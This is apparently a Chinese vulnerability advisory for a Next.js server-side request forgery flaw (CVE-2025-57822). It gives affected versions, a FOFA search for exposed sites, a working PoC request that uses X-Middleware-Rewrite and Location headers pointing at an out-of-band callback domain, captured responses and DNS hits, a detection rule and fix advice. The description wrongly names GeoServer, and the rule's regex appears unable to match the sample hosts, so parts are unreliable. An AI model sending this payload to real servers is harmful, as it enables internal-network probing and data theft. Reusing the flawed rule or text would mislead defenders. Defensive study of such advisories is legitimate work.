

Next.js-CVE-2025-57822-SSRF

Next.js-CVE-2025-57822-SSRF，攻击者可利用服务器端请求伪造（SSRF）漏洞，操纵GeoServer向内部网络发起恶意请求，窃取敏感数据或攻击内网系统，导致内网渗透或数据泄露。

影响版本

Next.js<14.2.32

Next.js< 15.4.7

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/_next/static"

POC/EXP:

```
GET /?cb=NfmURqNbjo HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Location: https://1.bbb115b4e751964e.gobygo.net
X-Middleware-Rewrite: https://2.bbb115b4e751964e.gobygo.net
Accept-Encoding: gzip
```

nt

< > 数据包详情 美化 HEX 添加 构造请求

https 21bytes / 1104ms 美化 HEX 编辑 清除内容

GET /?cb=NfmUqNbj HTTP/1.1
Host 3
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Location: https://1.bbb115b4e751964e.gobygo.net
X-Middleware-Rewrite: https://2.bbb115b4e751964e.gobygo.net
Accept-Encoding: gzip

1 HTTP/1.1 500 Internal Server Error
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Mon, 08-Sep-2025-08:25:33 GMT
4 Connection: close
5 accept: */*
6 accept-language: en
7 host: localhost:3000
8 location: https://1.bbb115b4e751964e.gobygo.net
9 user-agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
10 x-forwarded-for: 172.18.0.1
11 x-forwarded-host: localhost:3000
12 x-forwarded-port: 3000
13 x-forwarded-proto: http
14 x-middleware-cache: no-cache
15 x-nonce: ZnXhGUMWDTtNGUyMS000ZzhT1mVTUyVWVlYTM0QTQ4NTYw
16 x-middleware-rewrite: https://2.bbb115b4e751964e.gobygo.net/
17 Content-Length: 21
18

只看A记录: 自动刷新记录:

域名	类型	评分
bbb115b4e751964e.gobygo.net	A	
bbb115b4e751964e.gobygo.net	A	
2.bbb115b4e751964e.gobygo.net	A	3.26
2.bbb115b4e751964e.gobygo.net	A	3.26

sonrt规则:

```
alert http any any -> $HOME_NET any (  
  msg:"Next.js - Server-Side Request Forgery (CVE-2025-57822)";  
  flow:to_server,established;  
  http.method; content:"GET";  
  http.header; content:"X-Middleware-Rewrite:";  
  pcre: "/X-Middleware-Rewrite:\s*https?:\/\/\.[^\s]+\..gobygo\.net/i";  
  metadata:  
    cve CVE-2025-57822,  
    service http,  
    affected_product "Next.js",  
    vulnerability_type "Server-Side Request Forgery",  
    severity "high";  
  classtype:web-application-attack;  
  sid:1000499;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。